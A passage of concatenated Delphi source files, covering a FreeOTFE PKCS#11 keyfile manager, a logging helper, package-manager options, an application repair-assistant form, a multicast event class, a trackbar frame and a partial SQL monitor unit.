stlDeletedOK.Add(currObj.XLabel + ' (' + errMsg + ')');
end;
end;
end;
msg := '';
msgType := mtInformation;
if (stlDeletedOK.Count > 0) then begin
msgList := '';
for i := 0 to (stlDeletedOK.Count - 1) do begin
msgList := msgList + ' ' + stlDeletedOK[i] + SDUCRLF;
end;
msg := SDUParamSubstitute(_('The following keyfiles were deleted successfully:' + SDUCRLF +
SDUCRLF + '%1'),
[msgList]);
end;
if (stlDeletedFail.Count > 0) then begin
msgType := mtWarning;
msgList := '';
for i := 0 to (stlDeletedFail.Count - 1) do begin
msgList := msgList + ' ' + stlDeletedFail[i] + SDUCRLF;
end;
msg := msg + SDUCRLF;
msg := msg + SDUParamSubstitute(_('The following keyfiles could not be deleted:' + SDUCRLF +
SDUCRLF + '%1'),
[msgList]);
end;
SDUMessageDlg(msg, msgType);
finally
stlDeletedOK.Free();
stlDeletedFail.Free();
end;
Refresh();
end;
end;
procedure TfmePKCS11_MgrKeyfile.actExportExecute(Sender: TObject);
var
CDBRecord: PPKCS11CDB;
begin
SaveDialog.Filter := FILE_FILTER_FLT_KEYFILES;
SaveDialog.DefaultExt := FILE_FILTER_DFLT_KEYFILES;
SaveDialog.Options := SaveDialog.Options + [ofDontAddToRecent];
SDUOpenSaveDialogSetup(SaveDialog, lbCDB.Items[lbCDB.ItemIndex]);
if SaveDialog.Execute then begin
CDBRecord := PPKCS11CDB(lbCDB.items.Objects[lbCDB.ItemIndex]);
if SDUSetFileContent(SaveDialog.Filename, CDBRecord.CDB) then begin
SDUMessageDlg(_('Keyfile exported successfully'));
end else begin
SDUMessageDlg(
SDUParamSubstitute(_('Unable to export keyfile to:' + SDUCRLF +
SDUCRLF + '%1'),
[SaveDialog.Filename])
);
end;
end;
end;
procedure TfmePKCS11_MgrKeyfile.actImportExecute(Sender: TObject);
var
importFile: String;
newLabel: String;
newCDB: Ansistring;
errMsg: String;
labelValid: Boolean;
testLabel: String;
cntTestLabel: Integer;
csrPrev: TCursor;
opOK: Boolean;
begin
OpenDialog.Filter := FILE_FILTER_FLT_KEYFILES;
OpenDialog.DefaultExt := FILE_FILTER_DFLT_KEYFILES;
OpenDialog.Options := OpenDialog.Options + [ofDontAddToRecent];
SDUOpenSaveDialogSetup(OpenDialog, '');
if OpenDialog.Execute then begin
importFile := OpenDialog.filename;
if not (SDUGetFileContent(importFile, newCDB)) then begin
SDUMessageDlg(_('Unable to read keyfile contents'), mtError);
end else begin
if (length(newCDB) <> (CRITICAL_DATA_LENGTH div 8)) then begin
// Sanity check...
if not (SDUConfirmYN(_(
'The file specified doesn''t appear to be a FreeOTFE keyfile.') + SDUCRLF +
SDUCRLF + _('Do you wish to continue anyway?'))) then begin
exit;
end;
end;
newLabel := ExtractFilename(importFile);
newLabel := Copy(newLabel, 1, (length(newLabel) - length(ExtractFileExt(newLabel))));
newLabel := trim(newLabel);
// Just some sanity checking - this ISN'T ACTUALLY NEEDED, but we force
// all CDB labels on the token to be unique.
// Otherwise, the user could end up mounting a volume with the wrong CDB
cntTestLabel := 0;
repeat
Inc(cntTestLabel);
testLabel := newLabel;
if (cntTestLabel > 1) then begin
testLabel := newLabel + ' (' + IntToStr(cntTestLabel) + ')';
end;
labelValid := (lbCDB.items.IndexOf(testLabel) < 0);
if labelValid then begin
newLabel := testLabel;
end;
until labelValid;
csrPrev := screen.Cursor;
screen.Cursor := crHourglass;
try
opOK := CreatePKCS11CDB(FPKCS11Session, newLabel, newCDB, errMsg);
finally
screen.Cursor := csrPrev;
end;
if opOK then begin
SDUMessageDlg(
_('Keyfile imported successfully as:') + SDUCRLF +
SDUCRLF + ' ' + newLabel,
mtInformation
);
Refresh();
end else begin
SDUMessageDlg(
_('Keyfile import failed') + SDUCRLF + SDUCRLF +
errMsg,
mtError
);
end;
end;
end;
end;
constructor TfmePKCS11_MgrKeyfile.Create(AOwner: TComponent);
begin
inherited;
end;
destructor TfmePKCS11_MgrKeyfile.Destroy();
begin
// Purge stored CDBs...
DestroyAndFreeRecord_PKCS11CDB(FTokenCDBs);
inherited;
end;
procedure TfmePKCS11_MgrKeyfile.lbCDBClick(Sender: TObject);
begin
EnableDisableControls();
end;
procedure TfmePKCS11_MgrKeyfile.Initialize();
begin
lbCDB.MultiSelect := True;
lbCDB.Sorted := True;
PopulateCDB();
EnableDisableControls();
end;
procedure TfmePKCS11_MgrKeyfile.EnableDisableControls();
begin
inherited;
actExport.Enabled := (lbCDB.SelCount = 1);
actDelete.Enabled := (lbCDB.SelCount > 0);
end;
procedure TfmePKCS11_MgrKeyfile.FrameResize(Sender: TObject);
begin
inherited;
SDUCenterControl(pbExport, ccHorizontal);
end;
procedure TfmePKCS11_MgrKeyfile.Refresh();
begin
PopulateCDB();
inherited;
end;
procedure TfmePKCS11_MgrKeyfile.PopulateCDB();
var
errMsg: String;
i: Integer;
warnBadCDB: Boolean;
csrPrev: TCursor;
begin
csrPrev := screen.Cursor;
screen.Cursor := crHourglass;
try
lbCDB.Clear();
DestroyAndFreeRecord_PKCS11CDB(FTokenCDBs);
warnBadCDB := False;
if not (GetAllPKCS11CDB(PKCS11Session, FTokenCDBs, errMsg)) then begin
SDUMessageDlg(_('Unable to get list of CDB entries from Token') + SDUCRLF +
SDUCRLF + errMsg, mtError);
end else begin
for i := low(FTokenCDBs) to high(FTokenCDBs) do begin
lbCDB.items.AddObject(FTokenCDBs[i].XLabel, TObject(FTokenCDBs[i]));
// Sanity check - the CDBs stored are sensible, right?
if (length(FTokenCDBs[i].CDB) <> (CRITICAL_DATA_LENGTH div 8)) then begin
warnBadCDB := True;
end;
end;
end;
finally
screen.Cursor := csrPrev;
end;
if warnBadCDB then begin
SDUMessageDlg(
_('One or more of the keyfiles stored on your token are invalid/corrupt'),
mtWarning
);
end;
end;
end.
|
unit LogHelper;
interface
// Writes a log message to file
procedure WriteLogFile(logFilePath, logMessage: String);
// Writes a log message to file generating one file a day
procedure WriteLogFileByDay(directoryPath, logFilePrefix, logMessage : String);
implementation
uses FileSystemHelper, SysUtils;
procedure WriteLogFile(logFilePath, logMessage: String);
const
logMessageFormat = '%s %s' + #13 + #10;
logDateFormat = 'yyyymmddhhnnss.zzz';
var
formatTedLogMessage : String;
begin
formatTedLogMessage := format(logMessageFormat, [FormatDateTime(logDateFormat, now), logMessage]);
WriteToFile(logFilePath, formatTedLogMessage);
end;
procedure WriteLogFileByDay(directoryPath, logFilePrefix, logMessage: String);
const
LogFileNameMask = '%s%s.log';
var
logFileName : String;
filePath : String;
begin
logFileName := format(LogFileNameMask, [logFilePrefix, FormatDateTime('yyyymmdd', now)]);
filePath := CombinePath([directoryPath, logFileName]);
WriteLogFile(filePath, logMessage);
end;
end.
|
{***************************************************************************}
{ }
{ Delphi Package Manager - DPM }
{ }
{ Copyright © 2019 Vincent Parrett and contributors }
{ }
{ vincent@finalbuilder.com }
{ https://www.finalbuilder.com }
{ }
{ }
{***************************************************************************}
{ }
{ Licensed under the Apache License, Version 2.0 (the "License"); }
{ you may not use this file except in compliance with the License. }
{ You may obtain a copy of the License at }
{ }
{ http://www.apache.org/licenses/LICENSE-2.0 }
{ }
{ Unless required by applicable law or agreed to in writing, software }
{ distributed under the License is distributed on an "AS IS" BASIS, }
{ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. }
{ See the License for the specific language governing permissions and }
{ limitations under the License. }
{ }
{***************************************************************************}
unit DPM.Core.Options.Spec;
interface
uses
DPM.Core.Options.Base;
type
TSpecOptions = class(TOptionsBase)
private
FPackageId : string;
FFromProject : string;
FOverwrite : boolean;
FNoFlatten : boolean;
class var
FDefault : TSpecOptions;
public
class constructor CreateDefault;
class property Default : TSpecOptions read FDefault;
property PackageId : string read FPackageId write FPackageId;
property FromProject : string read FFromProject write FFromProject;
property Overwrite : boolean read FOverwrite write FOverwrite;
property NoFlatten : boolean read FNoFlatten write FNoFlatten;
end;
implementation
{ TSpecOptions }
class constructor TSpecOptions.CreateDefault;
begin
FDefault := TSpecOptions.Create;
end;
end.
|
unit FormRepairAssistant;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, xmldom, XMLIntf, msxmldom, XMLDoc, ActiveX, ExtCtrls,
Internet, AutoUpdater;
type
TFrmRepairAssistant = class(TForm)
MmReport: TMemo;
Label1: TLabel;
LbFilename: TLabel;
Timer: TTimer;
procedure FormShow(Sender: TObject);
procedure TimerTimer(Sender: TObject);
procedure FormDestroy(Sender: TObject);
procedure MmReportChange(Sender: TObject);
procedure FormCreate(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
RepairDone, ForceRepair: boolean;
function RequestAuthorization(const _Filename: string): boolean;
procedure Execute;
end;
implementation
{$R *.dfm}
procedure TFrmRepairAssistant.FormCreate(Sender: TObject);
begin
RepairDone := false;
ForceRepair := false;
end;
procedure TFrmRepairAssistant.FormDestroy(Sender: TObject);
begin
MMReport.Lines.Clear;
end;
procedure TFrmRepairAssistant.FormShow(Sender: TObject);
begin
Timer.Enabled := true;
end;
procedure TFrmRepairAssistant.MmReportChange(Sender: TObject);
begin
MmReport.Perform(EM_LineScroll, 0, MmReport.Lines.Count);
LbFilename.Refresh;
end;
procedure TFrmRepairAssistant.Execute;
var
Updater: TAutoUpdater;
begin
isMultiThread := true;
Sleep(200);
Updater := TAutoUpdater.Create(MMReport,LbFilename,ForceRepair);
if Updater.WaitFor > 0 then
begin
RepairDone := Updater.RepairDone;
end;
Updater.Free;
isMultiThread := false;
Close;
end;
function TFrmRepairAssistant.RequestAuthorization(const _Filename: string): boolean;
begin
if MessageDlg('Voxel Section Editor III Repair Assistant' +#13#13+
'The program has detected that the required file below is missing:' + #13+#13 +
_Filename + #13+#13 +
'The Voxel Section Editor III Repair Assistant is able to retrieve this ' + #13 +
'and required other files from the internet automatically. In order to run it, ' + #13 +
'make sure you are online and click OK. If you refuse to run it, click Cancel.',
mtWarning,mbOKCancel,0) = mrCancel then
Application.Terminate;
Result := true;
end;
procedure TFrmRepairAssistant.TimerTimer(Sender: TObject);
begin
Timer.Enabled := false;
Execute;
end;
end.
|
{-------------------------------------------------------------------------------
This Source Code Form is subject to the terms of the Mozilla Public
License, v. 2.0. If a copy of the MPL was not distributed with this
file, You can obtain one at http://mozilla.org/MPL/2.0/.
-------------------------------------------------------------------------------}
{===============================================================================
Multicast event handling class
©František Milt 2018-10-22
Version 1.0.4
Dependencies:
AuxTypes - github.com/ncs-sniper/Lib.AuxTypes
AuxClasses - github.com/ncs-sniper/Lib.AuxClasses
===============================================================================}
unit MulticastEvent;
{$IFDEF FPC}
{$MODE ObjFPC}{$H+}
{$DEFINE FPC_DisableWarns}
{$MACRO ON}
{$ENDIF}
interface
uses
AuxClasses;
{===============================================================================
--------------------------------------------------------------------------------
TMulticastEvent
--------------------------------------------------------------------------------
===============================================================================}
type
TEvent = procedure of object;
TMethods = array of TMethod;
{===============================================================================
TMulticastEvent - class declaration
===============================================================================}
TMulticastEvent = class(TCustomListObject)
private
fOwner: TObject;
fMethods: TMethods;
fCount: Integer;
Function GetMethod(Index: Integer): TMethod;
protected
Function GetCapacity: Integer; override;
procedure SetCapacity(Value: Integer); override;
Function GetCount: Integer; override;
procedure SetCount(Value: Integer); override;
public
constructor Create(Owner: TObject = nil);
destructor Destroy; override;
Function LowIndex: Integer; override;
Function HighIndex: Integer; override;
Function IndexOf(const Handler: TEvent): Integer; virtual;
Function Add(const Handler: TEvent; AllowDuplicity: Boolean = False): Integer; virtual;
Function Remove(const Handler: TEvent; RemoveAll: Boolean = True): Integer; virtual;
procedure Delete(Index: Integer); virtual;
procedure Clear; virtual;
procedure Call; virtual;
property Methods[Index: Integer]: TMethod read GetMethod;
property Owner: TObject read fOwner;
end;
{===============================================================================
--------------------------------------------------------------------------------
TMulticastNotifyEvent
--------------------------------------------------------------------------------
===============================================================================}
{===============================================================================
TMulticastNotifyEvent - class declaration
===============================================================================}
TMulticastNotifyEvent = class(TMulticastEvent)
public
Function IndexOf(const Handler: TNotifyEvent): Integer; reintroduce;
Function Add(const Handler: TNotifyEvent; AllowDuplicity: Boolean = False): Integer; reintroduce;
Function Remove(const Handler: TNotifyEvent; RemoveAll: Boolean = True): Integer; reintroduce;
procedure Call(Sender: TObject); reintroduce;
end;
implementation
uses
SysUtils;
{$IFDEF FPC_DisableWarns}
{$DEFINE FPCDWM}
{$DEFINE W5024:={$WARN 5024 OFF}} // Parameter "$1" not used
{$ENDIF}
{===============================================================================
--------------------------------------------------------------------------------
TMulticastEvent
--------------------------------------------------------------------------------
===============================================================================}
{===============================================================================
TMulticastEvent - class implementation
===============================================================================}
{-------------------------------------------------------------------------------
TMulticastEvent - private methods
-------------------------------------------------------------------------------}
Function TMulticastEvent.GetMethod(Index: Integer): TMethod;
begin
If CheckIndex(Index) then
Result := fMethods[Index]
else
raise Exception.CreateFmt('TMulticastEvent.GetMethod: Index (%d) out of bounds.',[Index]);
end;
{-------------------------------------------------------------------------------
TMulticastEvent - protected methods
-------------------------------------------------------------------------------}
Function TMulticastEvent.GetCapacity: Integer;
begin
Result := Length(fMethods);
end;
//------------------------------------------------------------------------------
procedure TMulticastEvent.SetCapacity(Value: Integer);
begin
If Value <> Length(fMethods) then
begin
If Value < Length(fMethods) then
fCount := Value;
SetLength(fMethods,Value);
end;
end;
//------------------------------------------------------------------------------
Function TMulticastEvent.GetCount: Integer;
begin
Result := fCount;
end;
//------------------------------------------------------------------------------
{$IFDEF FPCDWM}{$PUSH}W5024{$ENDIF}
procedure TMulticastEvent.SetCount(Value: Integer);
begin
// do nothing
end;
{$IFDEF FPCDWM}{$POP}{$ENDIF}
{-------------------------------------------------------------------------------
TMulticastEvent - public methods
-------------------------------------------------------------------------------}
constructor TMulticastEvent.Create(Owner: TObject = nil);
begin
inherited Create;
fOwner := Owner;
SetLength(fMethods,0);
fCount := 0;
// adjust growing, no need for fast growth
GrowMode := gmLinear;
GrowFactor := 16;
end;
//------------------------------------------------------------------------------
destructor TMulticastEvent.Destroy;
begin
Clear;
inherited;
end;
//------------------------------------------------------------------------------
Function TMulticastEvent.LowIndex: Integer;
begin
Result := Low(fMethods);
end;
//------------------------------------------------------------------------------
Function TMulticastEvent.HighIndex: Integer;
begin
Result := Pred(fCount);
end;
//------------------------------------------------------------------------------
Function TMulticastEvent.IndexOf(const Handler: TEvent): Integer;
var
i: Integer;
begin
Result := -1;
For i := LowIndex to HighIndex do
If (fMethods[i].Code = TMethod(Handler).Code) and
(fMethods[i].Data = TMethod(Handler).Data) then
begin
Result := i;
Break{For i};
end
end;
//------------------------------------------------------------------------------
Function TMulticastEvent.Add(const Handler: TEvent; AllowDuplicity: Boolean = False): Integer;
begin
If Assigned(TMethod(Handler).Code) and Assigned(TMethod(Handler).Data) then
begin
Result := IndexOf(Handler);
If (Result < 0) or AllowDuplicity then
begin
Grow;
Result := fCount;
fMethods[Result] := TMethod(Handler);
Inc(fCount);
end;
end
else Result := -1;
end;
//------------------------------------------------------------------------------
Function TMulticastEvent.Remove(const Handler: TEvent; RemoveAll: Boolean = True): Integer;
begin
repeat
Result := IndexOf(Handler);
If Result >= 0 then
Delete(Result);
until not RemoveAll or (Result < 0);
end;
//------------------------------------------------------------------------------
procedure TMulticastEvent.Delete(Index: Integer);
var
i: Integer;
begin
If CheckIndex(Index) then
begin
For i := Index to Pred(HighIndex) do
fMethods[i] := fMethods[i + 1];
Dec(fCount);
Shrink;
end
else raise Exception.CreateFmt('TMulticastEvent.Delete: Index (%d) out of bounds.',[Index]);
end;
//------------------------------------------------------------------------------
procedure TMulticastEvent.Clear;
begin
fCount := 0;
Shrink;
end;
//------------------------------------------------------------------------------
procedure TMulticastEvent.Call;
var
i: Integer;
begin
For i := LowIndex to HighIndex do
TEvent(fMethods[i]);
end;
{===============================================================================
--------------------------------------------------------------------------------
TMulticastNotifyEvent
--------------------------------------------------------------------------------
===============================================================================}
{===============================================================================
TMulticastNotifyEvent - class implementation
===============================================================================}
{-------------------------------------------------------------------------------
TMulticastNotifyEvent - public methods
-------------------------------------------------------------------------------}
Function TMulticastNotifyEvent.IndexOf(const Handler: TNotifyEvent): Integer;
begin
Result := inherited IndexOf(TEvent(Handler));
end;
//------------------------------------------------------------------------------
Function TMulticastNotifyEvent.Add(const Handler: TNotifyEvent; AllowDuplicity: Boolean = False): Integer;
begin
Result := inherited Add(TEvent(Handler),AllowDuplicity);
end;
//------------------------------------------------------------------------------
Function TMulticastNotifyEvent.Remove(const Handler: TNotifyEvent; RemoveAll: Boolean = True): Integer;
begin
Result := inherited Remove(TEvent(Handler),RemoveAll);
end;
//------------------------------------------------------------------------------
procedure TMulticastNotifyEvent.Call(Sender: TObject);
var
i: Integer;
begin
For i := LowIndex to HighIndex do
TNotifyEvent(Methods[i])(Sender);
end;
end.
|
//
// VXScene Component Library, based on GLScene http://glscene.sourceforge.net
//
{
Frame combining a TrackBar and an Edit.
}
unit FRTrackBarEdit;
interface
uses
System.SysUtils,
System.Types,
System.UITypes,
System.Classes,
System.Variants,
FMX.Types,
FMX.Graphics,
FMX.Controls,
FMX.Forms,
FMX.Dialogs,
FMX.StdCtrls,
FMX.Edit,
FMX.Controls.Presentation;
type
TRTrackBarEdit = class(TFrame)
TrackBar: TTrackBar;
Edit: TEdit;
procedure TrackBarChange(Sender: TObject);
procedure EditChange(Sender: TObject);
private
procedure SetValue(const val : Single);
function GetValue : Single;
procedure SetValueMin(const val : Single);
function GetValueMin : Single;
procedure SetValueMax(const val : Single);
function GetValueMax : Single;
public
property Value : Single read GetValue write SetValue;
property ValueMin : Single read GetValueMin write SetValueMin;
property ValueMax : Single read GetValueMax write SetValueMax;
end;
//=====================================================================
implementation
//=====================================================================
{$R *.fmx}
procedure TRTrackBarEdit.TrackBarChange(Sender: TObject);
begin
Edit.Text:=FloatToStr(TrackBar.Value);
end;
procedure TRTrackBarEdit.EditChange(Sender: TObject);
var
I : Integer;
begin
try
I := StrToInt(Edit.Text);
TrackBar.Value := I;
except
// ignore
end;
end;
procedure TRTrackBarEdit.SetValue(const val: Single);
begin
TrackBar.Value:=val;
TrackBarChange(Self);
end;
function TRTrackBarEdit.GetValue: Single;
begin
Result:=TrackBar.Value;
end;
procedure TRTrackBarEdit.SetValueMax(const val: Single);
begin
TrackBar.Max:=val;
TrackBarChange(Self);
end;
function TRTrackBarEdit.GetValueMax: Single;
begin
Result:=TrackBar.Max;
end;
procedure TRTrackBarEdit.SetValueMin(const val: Single);
begin
TrackBar.Min:=val;
TrackBarChange(Self);
end;
function TRTrackBarEdit.GetValueMin: Single;
begin
Result:=TrackBar.Min;
end;
end.
|
unit ibSHSQLMonitor;
interface
uses
SysUtils, Classes, StrUtils,
SHDesignIntf,
ibSHDesignIntf, ibSHDriverIntf, ibSHTool;
type
TibSHSQLMonitor = class(TibBTTool, IibSHSQLMonitor)
private
FActive: Boolean;
FPrepare: Boolean;
FExecute: Boolean;
FFetch: Boolean;
FConnect: Boolean;
FTransact: Boolean;
FService: Boolean;
FStmt: Boolean;
FError: Boolean;
FBlob: Boolean;
FMisc: Boolean;
FFilter: TStrings;
FOnEvent: TibSHSQLMonitorEvent;
FFIBMonitor: TComponent;
FIBXMonitor: TComponent;
FFIBMonitorIntf: IibSHDRVMonitor;
FIBXMonitorIntf: IibSHDRVMonitor;
protected
function GetActive: Boolean;
procedure SetActive(Value: Boolean);
function GetPrepare: Boolean;
procedure SetPrepare(Value: Boolean);
function GetExecute: Boolean;
procedure SetExecute(Value: Boolean);
function GetFetch: Boolean;
procedure SetFetch(Value: Boolean);
function GetConnect: Boolean;
procedure SetConnect(Value: Boolean);
function GetTransact: Boolean;
procedure SetTransact(Value: Boolean);
function GetService: Boolean;
procedure SetService(Value: Boolean);
function GetStmt: Boolean;
procedure SetStmt(Value: Boolean);
function GetError: Boolean;
procedure SetError(Value: Boolean);
function GetBlob: Boolean;
procedure SetBlob(Value: Boolean);
function GetMisc: Boolean;
procedure SetMisc(Value: Boolean);
function GetFilter: TStrings;
procedure SetFilter(Value: TStrings);
function GetOnEvent: TibSHSQLMonitorEvent;
procedure SetOnEvent(Value: TibSHSQLMonitorEvent);
procedure OnFIBSQL(EventText: String; EventTime: TDateTime);
procedure OnIBXSQL(EventText: String; EventTime: TDateTime);
procedure AddEvent(EventText: String; EventTime: TDateTime);
public
constructor Create(AOwner: TComponent); override;
destructor Destroy; override;
property FIBMonitor: IibSHDRVMonitor read FFIBMonitorIntf;
property IBXMonitor: IibSHDRVMonitor read FIBXMonitorIntf;
property Active: Boolean read GetActive write SetActive;
property OnEvent: TibSHSQLMonitorEvent read FOnEvent write FOnEvent;
property Prepare: Boolean read GetPrepare write SetPrepare;
property Execute: Boolean read GetExecute write SetExecute;
property Fetch: Boolean read GetFetch write SetFetch;
property Connect: Boolean read GetConnect write SetConnect;
property Transact: Boolean read GetTransact write SetTransact;
property Service: Boolean read GetService write SetService;
property Stmt: Boolean read GetStmt write SetStmt;
property Error: Boolean read GetError write SetError;
property Blob: Boolean read GetBlob write SetBlob;
property Misc: Boolean read GetMisc write SetMisc;
property Filter: TStrings read GetFilter write SetFilter;
end;
TibSHFIBMonitor = class(TibSHSQLMonitor, IibSHFIBMonitor, IibSHBranch, IfbSHBranch)
published
property Prepare;
property Execute;
property Fetch;
property Connect;
property Transact;
property Service;
// property Stmt;
// property Error;
// property Blob;
property Misc;
property Filter;
end;
TibSHIBXMonitor = class(TibSHSQLMonitor, IibSHIBXMonitor, IibSHBranch, IfbSHBranch)
published
property Prepare;
property Execute;
property Fetch;
property Connect;
property Transact;
property Service;
property Stmt;
property Error;
property Blob;
property Misc;
property Filter;
end;
TibSHSQLMonitorFactory = class(TibBTToolFactory)
end;
procedure Register;
implementation
uses
ibSHConsts, ibSHSQLs,
ibSHSQLMonitorActions,
ibSHSQLMonitorEditors;
procedure Register;
begin
SHRegisterImage(GUIDToString(IibSHSQLMonitor), 'SQLMonitor.bmp');
SHRegisterImage(GUIDToString(IibSHFIBMonitor), 'SQLMonitorFIB.bmp');
SHRegisterImage(GUIDToString(IibSHIBXMonitor), 'SQLMonitorIBX.bmp');
SHRegisterImage(TibSHSQLMonitorPaletteAction_FIB.ClassName, 'SQLMonitorFIB.bmp');
SHRegisterImage(TibSHSQLMonitorPaletteAction_IBX.ClassName, 'SQLMonitorIBX.bmp');
SHRegisterImage(TibSHSQLMonitorFormAction.ClassName, 'Form_SQLText.bmp');
SHRegisterImage(TibSHSQLMonitorToolbarAction_Run.ClassName, 'Button_Run.bmp');
SHRegisterImage(TibSHSQLMonitorToolbarAction_Pause.ClassName, 'Button_Stop.bmp');
SHRegisterImage(TibSHSQLMonitorToolbarAction_Region.ClassName, 'Button_Tree.bmp');
SHRegisterImage(TibSHSQLMonitorToolbarAction_2App.ClassName, 'Button_Arrow_Right.bmp');
SHRegisterImage(SCallFIBTrace, 'Form_SQLText.bmp');
SHRegisterImage(SCallIBXTrace, 'Form_SQLText.bmp');
SHRegisterComponents([
TibSHFIBMonitor,
TibSHIBXMonitor,
TibSHSQLMonitorFactory]);
SHRegisterActions([
// Palette
TibSHSQLMonitorPaletteAction_FIB,
TibSHSQLMonitorPaletteAction_IBX,
// Forms
TibSHSQLMonitorFormAction,
// Toolbars
TibSHSQLMonitorToolbarAction_Run,
TibSHSQLMonitorToolbarAction_Pause,
TibSHSQLMonitorToolbarAction_Region,
TibSHSQLMonitorToolbarAction_2App]);
SHRegisterPropertyEditor(IibSHFIBMonitor, SCallFilter, TibSHSQLMonitorFilterPropEditor);
SHRegisterPropertyEditor(IibSHIBXMonitor, SCallFilter, TibSHSQLMonitorFilterPropEditor);
end;
{ TibSHSQLMonitor }
constructor TibSHSQLMonitor.Create(AOwner: TComponent);
var
vComponentClass: TSHComponentClass;
begin
inherited Create(AOwner);
FFilter := TStringList.Create;
if Supports(Self, IibSHFIBMonitor) then
begin
vComponentClass := Designer.GetComponent(IibSHDRVMonitor_FIBPlus);
if Assigned(vComponentClass) then
begin
FFIBMonitor := vComponentClass.Create(nil);
Supports(FFIBMonitor, IibSHDRVMonitor, FFIBMonitorIntf);
end;
end;
if Supports(Self, IibSHIBXMonitor) then
begin
vComponentClass := Designer.GetComponent(IibSHDRVMonitor_IBX);
if Assigned(vComponentClass) then
begin
FIBXMonitor := vComponentClass.Create(nil);
Supports(FIBXMonitor, IibSHDRVMonitor, FIBXMonitorIntf);
end;
end;
if Assigned(FIBMonitor) then FIBMonitor.OnSQL := OnFIBSQL;
if Assigned(IBXMonitor) then IBXMonitor.OnSQL := OnIBXSQL;
Execute := True;
Connect := True;
Transact := True;
end;
destructor TibSHSQLMonitor.Destroy;
begin
FFilter.Free;
Active := False;
FFIBMonitorIntf := nil;
FIBXMonitorIntf := nil;
FFIBMonitor.Free;
FIBXMonitor.Free;
inherited Destroy;
end;
function TibSHSQLMonitor.GetActive: Boolean;
begin
Result := FActive;
end;
procedure TibSHSQLMonitor.SetActive(Value: Boolean);
begin
FActive := Value;
if Assigned(FIBMonitor) then FIBMonitor.Active := FActive;
if Assigned(IBXMonitor) then IBXMonitor.Active := FActive;
end;
function TibSHSQLMonitor.GetPrepare: Boolean;
begin
Result := FPrepare;
end;
procedure TibSHSQLMonitor.SetPrepare(Value: Boolean);
begin
FPrepare := Value;
if Assigned(FIBMonitor) then FIBMonitor.TracePrepare := FPrepare;
if Assigned(IBXMonitor) then IBXMonitor.TracePrepare := FPrepare;
end;
function TibSHSQLMonitor.GetExecute: Boolean;
begin
Result := FExecute;
end;
procedure TibSHSQLMonitor.SetExecute(Value: Boolean);
begin
FExecute := Value;
if Assigned(FIBMonitor) then FIBMonitor.TraceExecute := FExecute;
if Assigned(IBXMonitor) then IBXMonitor.TraceExecute := FExecute;
end;
function TibSHSQLMonitor.GetFetch: Boolean;
begin
Result := FFetch;
end;
procedure TibSHSQLMonitor.SetFetch(Value: Boolean);
begin
FFetch := Value;
if Assigned(FIBMonitor) then FIBMonitor.TraceFetch := FFetch;
if Assigned(IBXMonitor) then IBXMonitor.TraceFetch := FFetch;
end;
function TibSHSQLMonitor.GetConnect: Boolean;
begin
Result := FConnect;
end;
procedure TibSHSQLMonitor.SetConnect(Value: Boolean);
begin
FConnect := Value;
if Assigned(FIBMonitor) then FIBMonitor.TraceConnect := FConnect;
if Assigned(IBXMonitor) then IBXMonitor.TraceConnect := FConnect;
end;
function TibSHSQLMonitor.GetTransact: Boolean;
begin
Result := FTransact;
end;
procedure TibSHSQLMonitor.SetTransact(Value: Boolean);
begin
FTransact := Value;
if Assigned(FIBMonitor) then FIBMonitor.TraceTransact := FTransact;
if Assigned(IBXMonitor) then IBXMonitor.TraceTransact := FTransact;
end;
function TibSHSQLMonitor.GetService: Boolean;
begin
Result := FService;
end;
procedure TibSHSQLMonitor.SetService(Value: Boolean);
begin
FService := Value;
if Assigned(FIBMonitor) then FIBMonitor.TraceService := FService;
if Assigned(IBXMonitor) then IBXMonitor.TraceService := FService;
end;
function TibSHSQLMonitor.GetStmt: Boolean;
begin
Result := FStmt;
end;
procedure TibSHSQLMonitor.SetStmt(Value: Boolean);
begin
FStmt := Value;
if Assigned(FIBMonitor) then FIBMonitor.TraceStmt := FStmt;
if Assigned(IBXMonitor) then IBXMonitor.TraceStmt := FStmt;
end;
function TibSHSQLMonitor.GetError: Boolean;
begin
Result := FError;
end;
procedure TibSHSQLMonitor.SetError(Value: Boolean);
begin
FError := Value;
if Assigned(FIBMonitor) then FIBMonitor.TraceError := FError;
if Assigned(IBXMonitor) then IBXMonitor.TraceError := FError;
end;
function TibSHSQLMonitor.GetBlob: Boolean;
begin
Result := FBlob;
end;
procedure TibSHSQLMonitor.SetBlob(Value: Boolean);
begin
FBlob := Value;
if Assigned(FIBMonitor) then FIBMonitor.TraceBlob := FBlob;
if Assigned(IBXMonitor) then IBXMonitor.TraceBlob := FBlob;
end;
function TibSHSQLMonitor.GetMisc: Boolean;
begin
Result := FMisc;
end;
procedure TibSHSQLMonitor.SetMisc(Value: Boolean);
begin
FMisc := Value;
if Assigned(FIBMonitor) then FIBMonitor.TraceMisc := FMisc;
if Assigned(IBXMonitor) then IBXMonitor.TraceMisc := FMisc;
end;
function TibSHSQLMonitor.GetFilter: TStrings;
begin
Result := FFilter;
end;
procedure TibSHSQLMonitor.SetFilter(Value: TStrings);
begin
FFilter.Assign(Value);
end;
function TibSHSQLMonitor.GetOnEvent: TibSHSQLMonitorEvent;
begin
Result := FOnEvent;
end;
procedure TibSHSQLMonitor.SetOnEvent(Value: TibSHSQLMonitorEvent);
begin
FOnEvent := Value;
end;
procedure TibSHSQLMonitor.OnFIBSQL(EventText: String; EventTime: TDateTime);
begin
AddEvent(EventText, EventTime);
end;
procedure TibSHSQLMonitor.OnIBXSQL(EventText: String; EventTime: TDateTime);
begin
AddEvent(EventText, EventTime);
end;
procedure TibSHSQLMonitor.AddEvent(EventText: String; EventTime: TDateTime);
var
vAppName, vOperation, vObject, vSQL: string;
begin
if Active then
begin
vAppName := Trim(Copy(EventText, Pos(':', EventText) + 2, Pos(']', EventText) - Length('[Application: ') - 3));
if Pos('.exe', vAppName) <> Length(vAppName) - 4 then vAppName := AnsiReplaceText(vAppName, '.exe', '');
vObject := Trim(Copy(EventText, Pos(']', EventText) + 1, PosEx(':', EventText, (Pos(']', EventText))) - Pos(']', EventText) - 1));
vOperation := Trim(Copy(EventText, PosEx(':', EventText, Pos(':', EventText) + 1) + 3, (PosEx(']', EventText, Pos(']', EventText) + 1)) - (PosEx('[', EventText, Pos('[', EventText) + 1)) - 1 ));
vSQL := Trim(Copy(EventText, {|} PosEx(']', EventText, Pos(']', EventText) + 1) + 1, {|} MaxInt));
// if Length(vObject) = 0 then vObject := Format('%s.InternalComponent', [vAppName]);
